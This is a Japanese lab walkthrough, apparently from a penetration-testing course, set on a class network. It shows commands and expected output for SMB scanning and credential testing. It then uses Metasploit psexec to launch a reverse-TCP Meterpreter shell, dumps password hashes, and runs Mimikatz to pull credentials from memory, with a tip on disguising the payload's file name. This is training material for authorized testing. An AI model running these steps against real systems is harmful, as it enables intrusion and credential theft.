Skip to content

Lab 3.4: MSF psexec, hashdump, and Mimikatz

オンライン演習

接続: この演習では、クラス内ネットワーク(560A VPN経由)に接続している必要があります

目的

  • Metasploitのpsexecエクスプロイトモジュールを使用して、認証されたSMBセッションを介してターゲットWindowsマシンにMeterpreterペイロードを展開する
  • Meterpreterの特権取得機能とターゲットマシンからのハッシュダンプ機能を探索する

ウォークスルービデオ

ラボのセットアップ

使用するVM:

  • Linux

Linux VMから10.130.10.5にpingできることを確認してください:

コマンド

ping -c 4 10.130.10.5

想定される結果

sec560@560vm:~$ ping -c 4 10.130.10.5
PING 10.130.10.5 (10.130.10.5) 56(84) bytes of data.
64 bytes from 10.130.10.5: icmp_seq=1 ttl=127 time=76.1 ms
64 bytes from 10.130.10.5: icmp_seq=2 ttl=127 time=79.1 ms
64 bytes from 10.130.10.5: icmp_seq=3 ttl=127 time=75.3 ms
64 bytes from 10.130.10.5: icmp_seq=4 ttl=127 time=75.8 ms

--- 10.130.10.5 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3003ms
rtt min/avg/max/mdev = 75.342/76.576/79.056/1.456 ms

ラボ – 手順

1: 管理者権限を探す

リモートWindowsシステムに対してexploit/windows/smb/psexecモジュールを使用するには、2つの要件があります: 1. ターゲット上で管理者アクセス権を持つアカウントが必要です。 2. ターゲットシステムがSMBポート(TCP 445)でリッスンしている必要があります。

LinuxでMetasploitを使用して、TCP 445でリッスンしているシステムと、一部のターゲットシステムへの管理者アクセス権を持つユーザーを特定しましょう。

ターゲットシステムを特定するために、db_nmapコマンドを使用します。次のコマンドはMetasploitを起動し、SMBサーバーのネットワークスキャンを自動的に実行し、結果をMetasploitデータベースに保存します。実行する前にコマンドを分解してみましょう:

  • msfconsole -q - バナーを表示せずにmsfconsoleを起動します。
  • -x - msfconsoleの起動と同時にコマンドを即座に実行します。これは非推奨のmsfcliコマンドに代わるものです。複数のコマンドは;で区切ることで連結できます。
  • "db_nmap -PS445 -p 445 10.130.10.0/24" - ダブルクォーテーション内のテキストは、起動時にmsfconsoleが実行するコマンドです。この場合、Metasploitのdb_nmap機能を使用して、TCP 445でリッスンしているホストを探すNmapスキャンを実行します。db_nmapコマンドの構文はnmapと同一ですが、db_nmapはスキャン結果を自動的にMetasploitデータベースに保存します。このデータベースはすぐに照会します。

コマンド

msfconsole -q -x "db_nmap -PS445 -p 445 10.130.10.0/24"

想定される結果

sec560@560vm:~$ msfconsole -q -x "db_nmap -PS445 -p 445 10.130.10.0/24"
[*] Nmap: Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-16 19:53 UTC
[*] Nmap: Nmap scan report for 10.130.10.4
[*] Nmap: Host is up (0.12s latency).
[*] Nmap: PORT    STATE SERVICE
[*] Nmap: 445/tcp open  microsoft-ds
[*] Nmap: Nmap scan report for 10.130.10.5
[*] Nmap: Host is up (0.12s latency).
[*] Nmap: PORT    STATE SERVICE
[*] Nmap: 445/tcp open  microsoft-ds
... output trimmed for brevity ...

[*] Nmap: Nmap done: 256 IP addresses (9 hosts up) scanned in 3.07 seconds
msf6 >
msfconsoleが「[?] Would you like to init the webservice?」と尋ねた場合

初めてmsfconsoleを実行する場合、Webサービスのセットアップと既存のデータおよび設定の削除に関する2つの質問をされます。その場合は、noと答えてからyesと答えてください

auxiliary/scanner/smb/smb_loginモジュールは、SMB経由でターゲットシステムへのログインを試みます。便利な機能の1つは、このモジュールが管理者アクセス権を持つ成功したログインに対して、有効なユーザー名とパスワードの後に「Administrator」を追加してマークすることです。

Lab 2.1: Password Guessingで、hiboxy\bgreen:Password1を含むいくつかの有効なアカウントを見つけました。これらの有効なアカウントのいずれかが、環境内の他のシステムへの管理者アクセス権を持っている可能性があります。smb_loginモジュールを使用して、bgreenがどこかで管理者かどうかを確認しましょう。

コマンド

use auxiliary/scanner/smb/smb_login
set smbuser bgreen
set smbpass Password1
set smbdomain hiboxy

想定される結果

msf6 > use auxiliary/scanner/smb/smb_login
[*] New in Metasploit 6.4 - The CreateSession option within this module can open an interactive session
msf6 auxiliary(scanner/smb/smb_login) > set smbuser bgreen
smbuser => bgreen
msf6 auxiliary(scanner/smb/smb_login) > set smbpass Password1
smbpass => Password1
msf6 auxiliary(scanner/smb/smb_login) > set smbdomain hiboxy
smbdomain => hiboxy

次に、RHOSTSを設定してターゲットを指定する必要があります。db_nmapスキャン中に発見されたアドレスを手動で入力することもできますが、Metasploitのデータベースが代わりに実行できます。

  • services - テスト中に特定されたサービスをMetasploitデータベースで検索するコマンドです。
  • -p 445 - クエリを変更して、ポート445に関係するホスト上のサービスのみを返します。
  • -u - デフォルトでは、servicesコマンドは、サービスレコードがポートが閉じていることを示している場合でも、ポート445に関連付けられたホストを返します。-uオプションは、結果を「稼働中」のサービスに制限します。
  • -R - このオプションは、servicesコマンドの結果を取得し、それらのホストをモジュールのターゲットとして設定します。これは、ホストを含む一時ファイルを作成することで行われます。

コマンド

services -p 445 -u -R

想定される結果

msf6 auxiliary(scanner/smb/smb_login) > services -p 445 -u -R
Services
========

host          port  proto  name          state  info
----          ----  -----  ----          -----  ----
10.130.10.4   445   tcp    microsoft-ds  open
10.130.10.5   445   tcp    microsoft-ds  open
10.130.10.7   445   tcp    microsoft-ds  open
10.130.10.21  445   tcp    microsoft-ds  open
10.130.10.23  445   tcp    microsoft-ds  open
10.130.10.25  445   tcp    microsoft-ds  open
10.130.10.44  445   tcp    microsoft-ds  open

RHOSTS => file:/tmp/msf-db-rhosts-20240926-117097-3bo9b0

bgreenが管理者であるシステムのみに関心があります。そのため、Metasploitのgrepコマンドを使用してこのモジュールを実行します。これにより、msfconsoleコマンドの出力で文字列をgrepできます。次のコマンドは、smb_loginモジュールを実行するrunの出力で文字列「Administrator」を検索します。

コマンド

grep Administrator run

想定される結果

msf6 auxiliary(scanner/smb/smb_login) > grep Administrator run
[+] 10.130.10.5:445       - 10.130.10.5:445 - Success: 'hiboxy\bgreen:Password1' Administrator
[+] 10.130.10.25:445      - 10.130.10.25:445 - Success: 'hiboxy\bgreen:Password1' Administrator
[+] 10.130.10.44:445      - 10.130.10.44:445 - Success: 'hiboxy\bgreen:Password1' Administrator

素晴らしい! 結果から、bgreenが10.130.10.5、10.130.10.25、および10.130.10.44で管理者であることがわかります。それでは、Metasploitからpsexecエクスプロイトモジュールを選択しましょう。これを使用して、ターゲットにMetasploitペイロードを実行させることができます:

コマンド

use exploit/windows/smb/psexec

想定される結果

msf6 auxiliary(scanner/smb/smb_login) > use exploit/windows/smb/psexec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf6 exploit(windows/smb/psexec) > 

ペイロードには、reverse_tcpステージャーを使用したMeterpreterステージを使用します:

コマンド

set PAYLOAD windows/meterpreter/reverse_tcp

想定される結果

msf6 exploit(windows/smb/psexec) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

次に、Metasploitにpsexecを起動するターゲット、具体的にはWEB01(10.130.10.5)を指定する必要があります。

コマンド

set RHOSTS 10.130.10.5

次に、reverse_tcpステージャーが接続を返すLHOSTを設定する必要があります。tun0インターフェースに設定してください:

コマンド

set LHOST tun0

psexecエクスプロイトモジュールを、ドメインhiboxy、ユーザー名bgreen、パスワードPassword1で設定します。ユーザーhiboxy\bgreenは、このマシンのadministratorsグループに属しています。

コマンド

set SMBUser bgreen
set SMBDomain hiboxy
set SMBPass Password1

想定される結果

msf6 exploit(windows/smb/psexec) > set SMBUser bgreen
SMBUser => bgreen
msf6 exploit(windows/smb/psexec) > set SMBDomain hiboxy
SMBDomain => hiboxy
msf6 exploit(windows/smb/psexec) > set SMBPass Password1
SMBPass => Password1

これまで見てきたように、show optionsはMetasploitモジュールの主な設定を表示します。しかし、ほとんどのモジュールには、高度な設定を介して利用できる追加の変数が数十個あります。これらのオプションは、show advancedを実行することで確認できます。試してみましょう。

コマンド

show advanced

想定される結果

msf6 exploit(windows/smb/psexec) > show advanced

Module advanced options (exploit/windows/smb/psexec):

   Name                          Current Setting               Required  Description
   ----                          ---------------               --------  -----------
   ALLOW_GUEST                   false                         yes       Keep trying if only given guest access
   CHOST                                                       no        The local client address
   CMD::DELAY                    3                             no        A delay (in seconds) before reading the command ou
                                                                         tput and cleaning up
   CPORT                                                       no        The local client port
...trimmed for brevity...
   SERVICE_FILENAME                                            no        Filename to to be used on target for the service binary
   SERVICE_PERSIST               false                         yes       Create an Auto run service and do not remove it.
   SERVICE_STUB_ENCODER                                        no        Encoder to use around the service registering stub
   SMB::AlwaysEncrypt            true                          yes       Enforces encryption even if the server does not re
...trimmed for brevity...

Payload advanced options (windows/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in secon
                                                           ds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
...truncated for brevity...

ここでは、攻撃を開始する際に使用するローカルクライアントポート(CPORT)、システム起動時に毎回実行される永続的なサービスを作成するかどうかの指定(システム起動時にMeterpreterセッションが自動的に返送される)(SERVICE_PERSIST)、およびSERVICE_FILENAMEの設定など、多数のオプションを指定できることがわかります。この変数は、サービスが実行できるように、ターゲットマシン上にペイロードファイルが書き込まれる名前に設定できます。繰り返しになりますが、デフォルトでは、SERVICE_FILENAMEは疑似ランダム文字列です。目立たないようにするには、svchostなど、ターゲットマシンでより期待される可能性のあるものに変更することをお勧めします。

今のところ、これらのオプションはそのままにしておきましょう。疑似ランダム文字列とタイミングにより、同じ名前の2つのサービスが同時にインストールされる可能性は非常に低くなります。

攻撃を開始する前に、show optionsを実行して設定が正しいことを確認しましょう。以下は、エクスプロイトのオプションです。

コマンド

show options

想定される結果

msf6 exploit(windows/smb/psexec) > show options 

Module options (exploit/windows/smb/psexec):

Name                  Current Setting  Required  Description
----                  ---------------  --------  -----------
SERVICE_DESCRIPTION                    no        Service description to be used on target for pretty listing
SERVICE_DISPLAY_NAME                   no        The service display name
SERVICE_NAME                           no        The service name
SMBSHARE                               no        The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share


Used when connecting via an existing SESSION:

Name     Current Setting  Required  Description
----     ---------------  --------  -----------
SESSION                   no        The session to run this module on


Used when making a new connection via RHOSTS:

Name       Current Setting  Required  Description
----       ---------------  --------  -----------
RHOSTS     10.130.10.5      no        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      445              no        The target port (TCP)
SMBDomain  hiboxy           no        The Windows domain to use for authentication
SMBPass    Password1        no        The password for the specified username
SMBUser    bgreen           no        The username to authenticate as


Payload options (windows/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST     tun0             yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port


Exploit target:

Id  Name
--  ----
0   Automatic



View the full module info with the info, or info -d command.

2: 攻撃を開始する

Metasploitコンソールターミナルで、攻撃を開始しましょう:

コマンド

run

想定される結果

msf6 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 10.254.252.2:4444 
[*] 10.130.10.5:445 - Connecting to the server...
[*] 10.130.10.5:445 - Authenticating to 10.130.10.5:445|hiboxy as user 'bgreen'...
[*] 10.130.10.5:445 - Selecting PowerShell target
[*] 10.130.10.5:445 - Executing the payload...
[+] 10.130.10.5:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (176198 bytes) to 10.130.10.5
[*] Meterpreter session 1 opened (10.254.252.2:4444 -> 10.130.10.5:51165) at 2024-08-16 19:58:36 +0000

meterpreter > 

meterpreter >プロンプトが表示されるはずです。

画面に表示される出力に注目してください。Metasploitが実行した次のアクションを確認できます:

  1. Metasploitは、reverse_tcp接続が戻ってくるのを待って、ローカルポート4444でリッスンするリバースハンドラーを自動的に起動します。ほとんどのMetasploitペイロードのデフォルトのLPORT4444です。LPORTを他の値に設定することで変更できます。
  2. 次に、ターゲットサーバーに接続します。
  3. ユーザーbgreenとしてターゲットマシンに認証します。
  4. 次に、ターゲットにPowerShellがインストールされていることを認識します。
  5. 次に、サービスを開始してペイロードを実行します。
  6. サービスが正常に起動すると、ターゲットにステージを送信します(ステージャーを使用してアップロード)。これは、設定されたLHOSTLPORTにホームに電話して、完全なMeterpreterペイロードをダウンロードする小さなシェルコードです。
  7. 最後に、ステージャーが正常にホームに電話した場合、完全なペイロード(「ステージ」と呼ばれることもあります)、この場合はMeterpreterセッションをロードします。

3: Meterpreter

これでMeterpreterセッションに入りました。実行しているユーザーアカウントを確認するために、getuidを実行しましょう。

コマンド

getuid

想定される結果

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

マシン上でローカル**SYSTEM**特権を持っています。つまり、管理者ユーザー(bgreen)から始めて、資格情報を使用してpsexec経由でローカルSYSTEMとしてコード実行を取得しました。

それでは、Meterpreterセッションを使用して、ターゲットからハッシュを取得しましょう。post/windows/gather/smart_hashdumpモジュールを使用して、リモートシステムからパスワードハッシュを抽出します。このモジュールはスマートで、ターゲットシステムの役割に応じて、パスワードハッシュを異なる方法でダンプします。ターゲットがドメインコントローラーの場合、パスワードを異なる方法で、異なる場所から取得します。これについては、このコースの後半で詳しく説明します。

infoコマンドを使用してsmart_hashdumpモジュールを確認します。

コマンド

info post/windows/gather/smart_hashdump

想定される結果

meterpreter > info post/windows/gather/smart_hashdump

       Name: Windows Gather Local and Domain Controller Account Password Hashes
     Module: post/windows/gather/smart_hashdump
   Platform: Windows
       Arch:
       Rank: Normal

Provided by:
  Carlos Perez <carlos_perez@darkoperator.com>

Compatible session types:
  Meterpreter

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  GETSYSTEM  false            no        Attempt to get SYSTEM privilege on the target host.
  SESSION                     yes       The session to run this module on

説明:
  これはSAMデータベースからローカルアカウントをダンプします。ターゲット
  ホストがドメインコントローラーの場合、特権レベル、OS、および
  ホストの役割に応じて適切な手法を使用してドメインアカウント
  データベースをダンプします。

Module options (post/windows/gather/smart_hashdump):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   GETSYSTEM  false            no        Attempt to get SYSTEM privilege on the target host.
   SESSION                     yes       The session to run this module on

meterpreter >

smart_hashdumpモジュールを実行します。

コマンド

run post/windows/gather/smart_hashdump

想定される結果

meterpreter > run post/windows/gather/smart_hashdump

[*] Running module against WEB01
[*] Hashes will be saved to the database if one is connected.
[+] Hashes will be saved in loot in JtR password file format to:
[*] /home/sec560/.msf4/loot/20240926212646_default_10.130.10.5_windows.hashes_612458.txt
[*] Dumping password hashes...
[*] Running as SYSTEM extracting hashes from registry
[*]     Obtaining the boot key...
[*]     Calculating the hboot key using SYSKEY aa4e9c6388e2b4c3784763867bdf1ca0...
[*]     Obtaining the user list and keys...
[*]     Decrypting user keys...
[*]     Dumping password hints...
[*]     No users with password hints on this system
[*]     Dumping password hashes...
[+]     Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+]     DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+]     WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+]     SROCAdmin:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+]     antivirus:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+]     slopez:1002:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+] 
...trimmed for brevity...
meterpreter >

run post/windows/gather/smart_hashdumpコマンドは、ユーザーがパスワードヒントを設定している場合、システムからパスワードヒントを取得しようとします。

ただし、すべてのNTハッシュ(2番目の部分)が31d6cfe0d16ae931b73c59d7e0c089c0であることに注意してください。これはnull NTハッシュです。このモジュールはここでは機能しませんが、ドメインコントローラーでは機能します。別のモジュールを試してみましょう。

post/windows/gather/hashdumpモジュールを実行します。

コマンド

run post/windows/gather/hashdump

このコマンドには時間がかかる場合があります

パスワードハッシュの取得には数分(実時間で60〜120秒)かかる場合があります。

想定される結果

meterpreter > run post/windows/gather/hashdump

[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 082470696ad76c726966f6ed20eaa67f...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...

No users with password hints on this system

[*] Dumping password hashes...


Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e2b411ccb13f63166abc4eb95ce4755:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:d7da45674bae3a0476c0f64b67121f7d:::
SROCAdmin:1000:aad3b435b51404eeaad3b435b51404ee:2e920723943f81ec0af0fd735f737fef:::
antivirus:1001:aad3b435b51404eeaad3b435b51404ee:47f0ca5913c6e70090d7b686afb9e13e:::
[...trimmed for brevity...]

これで、ターゲットマシンからハッシュを正常に取得できました。これらのハッシュをクラックしたり、*pass-the-hash攻撃*で使用したりできます。両方については後で詳しく説明します。

4: Mimikatzの実行

Mimikatzを使用して、WEB01コンピューター(10.130.10.5)のメモリから資格情報を抽出します。

sysinfoを実行して、現在のセッションを確認しましょう。

コマンド

sysinfo

想定される結果

meterpreter > sysinfo
Computer        : WEB01
OS              : Windows Server 2022 (10.0 Build 20348).
Architecture    : x64
System Language : en_US
Domain          : HIBOXY
Logged On Users : 6
Meterpreter     : x86/windows

上記でわかるように、ターゲットサーバーは64ビット(Windows Serverは2008以降、完全に64ビット)ですが、Meterpreterプロセス自体は32ビットです。64ビットマシンのネイティブメモリビューにアクセスするには、64ビットプロセスに入る必要があります。

psコマンドを使用して、ターゲット上の64ビットSYSTEMプロセスを見つけましょう。SYSTEMレベルの権限で実行されている64ビットプロセス(-A x64)を検索する必要があります(-s、小文字のs)。

コマンド

ps -A x64 -s

想定される結果

meterpreter > ps -A x64 -s
Filtering on arch 'x64
Filtering on SYSTEM processes...

Process List
============

PID   PPID  Name                  Arch  Session  User                 Path
---   ----  ----                  ----  -------  ----                 ----
552   768   svchost.exe           x64   0        NT AUTHORITY\SYSTEM  C:\Windows\System32\svchost.exe
700   620   winlogon.exe          x64   1        NT AUTHORITY\SYSTEM  C:\Windows\System32\winlogon.exe
776   628   lsass.exe             x64   0        NT AUTHORITY\SYSTEM  C:\Windows\System32\lsass.exe
896   768   svchost.exe           x64   0        NT AUTHORITY\SYSTEM  C:\Windows\System32\svchost.exe
1100  768   svchost.exe           x64   0        NT AUTHORITY\SYSTEM  C:\Windows\System32\svchost.exe
1236  700   LogonUI.exe           x64   1        NT AUTHORITY\SYSTEM  C:\Windows\System32\LogonUI.exe
1424  768   svchost.exe           x64   0        NT AUTHORITY\SYSTEM  C:\Windows\System32\svchost.exe
1620  768   svchost.exe           x64   0        NT AUTHORITY\SYSTEM  C:\Windows\System32\svchost.exe
1740  768   svchost.exe           x64   0        NT AUTHORITY\SYSTEM  C:\Windows\System32\svchost.exe
1748  768   svchost.exe           x64   0        NT AUTHORITY\SYSTEM  C:\Windows\System32\svchost.exe
1776  768   svchost.exe           x64   0        NT AUTHORITY\SYSTEM  C:\Windows\System32\svchost.exe
2008  768   svchost.exe           x64   0        NT AUTHORITY\SYSTEM  C:\Windows\System32\svchost.exe
[...trimmed for brevity...]

プロセスIDは異なります

上記に表示されているプロセスIDは、システムで表示されるものとは異なります。

上記の出力でわかるように、多数の64ビットSYSTEMプロセスがあります。移行先のプロセスを特定する必要があります。

プロセスの移行

移行する際は、svchost.exeという名前のプロセスには移行しないでください。実際の世界では、移行先のプロセスを選択する際に、プロセスがクラッシュした場合にシステムへの影響が少ないプロセスを考えてください。一般的な選択肢はspoolsv(Print Spooler)です。ほとんどのシステムで必要ないためです。

次のコマンドを使用して、64ビットSYSTEMプロセス(spoolsv.exe)の1つに移行します:

コマンド

migrate -N spoolsv.exe

想定される結果

meterpreter > migrate -N spoolsv.exe
[*] Migrating from 4772 to 2600...
[*] Migration completed successfully.
エラーが発生した場合(クリックして展開)

エラーが発生した場合、またはMeterpreterが応答しなくなった場合は、Meterpreterを終了(exitまたはCTRL+C)し、Windows VMを再エクスプロイトする必要があります。

以下のコマンドを実行し、Meterpreter行を分析して、Meterpreterが64ビットであることを確認します。Meterpreter行にはx64と表示されるはずです。

コマンド

sysinfo

想定される結果

meterpreter > sysinfo
Computer        : WEB01
OS              : Windows Server 2022 (10.0 Build 20348).
Architecture    : x64
System Language : en_US
Domain          : HIBOXY
Logged On Users : 6
Meterpreter     : x64/windows

64ビットプロセスに入ったので、次のコマンドでMimikatzをロードできます:

コマンド

load kiwi
出力は次のようになるはずです:

想定される結果

meterpreter > load kiwi
Loading extension kiwi...
.#####.   mimikatz 2.2.0 20191125 (x64/windows)
.## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ##       > http://blog.gentilkiwi.com/mimikatz
'## v ##'        Vincent LE TOUX            ( vincent.letoux@gmail.com )
'#####'         > http://pingcastle.com / http://mysmartlogon.com  ***/

Success.

helpを実行して、利用可能な新しいコマンドを確認しましょう:

コマンド

help
出力は次のようになるはずです:

想定される結果

meterpreter > help

Core Commands
=============

    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bg                        Alias for background
    bgkill                    Kills a background meterpreter script
...trimmed for brevity...

Kiwi Commands
=============

    Command                Description
    -------                -----------
    creds_all              Retrieve all credentials (parsed)
    creds_kerberos         Retrieve Kerberos creds (parsed)
    creds_livessp          Retrieve Live SSP creds
    creds_msv              Retrieve LM/NTLM creds (parsed)
    creds_ssp              Retrieve SSP creds
    creds_tspkg            Retrieve TsPkg creds (parsed)
    creds_wdigest          Retrieve WDigest creds (parsed)
    dcsync                 Retrieve user account information via DCSync (unparsed)
    dcsync_ntlm            Retrieve user account NTLM hash, SID and RID via DCSync
    golden_ticket_create   Create a golden kerberos ticket
    kerberos_ticket_list   List all kerberos tickets (unparsed)
    kerberos_ticket_purge  Purge any in-use kerberos tickets
    kerberos_ticket_use    Use a kerberos ticket
    kiwi_cmd               Execute an arbitary mimikatz command (unparsed)
    lsa_dump_sam           Dump LSA SAM (unparsed)
    lsa_dump_secrets       Dump LSA secrets (unparsed)
    password_change        Change the password/hash of a user
    wifi_list              List wifi profiles/creds for the current user
    wifi_list_shared       List shared wifi profiles/creds (requires SYSTEM)

次のコマンドを実行して、RAMからパスワードを取得しましょう:

コマンド

creds_all
次のような出力が表示されるはずです:

想定される結果

meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============

Username  Domain  NTLM                              SHA1                                      DPAPI
--------  ------  ----                              ----                                      -----
WEB01$    HIBOXY  183e46d7d20d455ffda561be66659b4b  19f4b77fa787278c587ef81edf17bdac23d6e733  19f4b77fa787278c587ef81edf17bdac

wdigest credentials
===================

Username  Domain  Password
--------  ------  --------
(null)    (null)  (null)
WEB01$    HIBOXY  (null)

kerberos credentials
====================

Username  Domain      Password
--------  ------      --------
(null)    (null)      (null)
WEB01$    hiboxy.com  ^U*vylA`+HX6fgTxyom emMT\RYMg SS;FY+i.;r"Hc2vb13x`<ZH#6mF/y^=CH:"DUv=`YX$I7W_/osdcIJXI6p=DNSY%goZuPQ;t`%E4!DGi]j!sBj[qhb
web01$    HIBOXY.COM  (null)

現在、対話型ユーザーアカウントはログオンしていませんが、WEB01コンピューターアカウント自体の資格情報(NTハッシュ(183e46d7d20d455ffda561be66659b4b)と実際の平文パスワード(この例では^U*vylAで始まる)を含む)が表示されます。マシンアカウントのパスワードはランダムに生成され、120文字の長さであるため、ハッシュとパスワードは異なります。

5: まとめ

このラボを終了するには、MeterpreterセッションとMetasploitコンソールを終了します:

コマンド

exit
exit

まとめ

このラボでは、Metasploitのpsexecモジュールを実行し、その設定オプションを確認し、ターゲットマシン上でコード実行を取得するための段階的な活動を分析しました。psexecを使用して、ローカルSYSTEM特権でターゲット上でmeterpreter/reverse_tcpペイロードを実行し、これを使用して追加の特権を取得し、post/windows/gather/hashdumpモジュール経由でハッシュを収集しました。さらに、Mimikatz(kiwi)を使用して、ログインしているユーザーの平文資格情報を収集できます。これらの機能はそれぞれ、ペネトレーションテストで非常に有用です。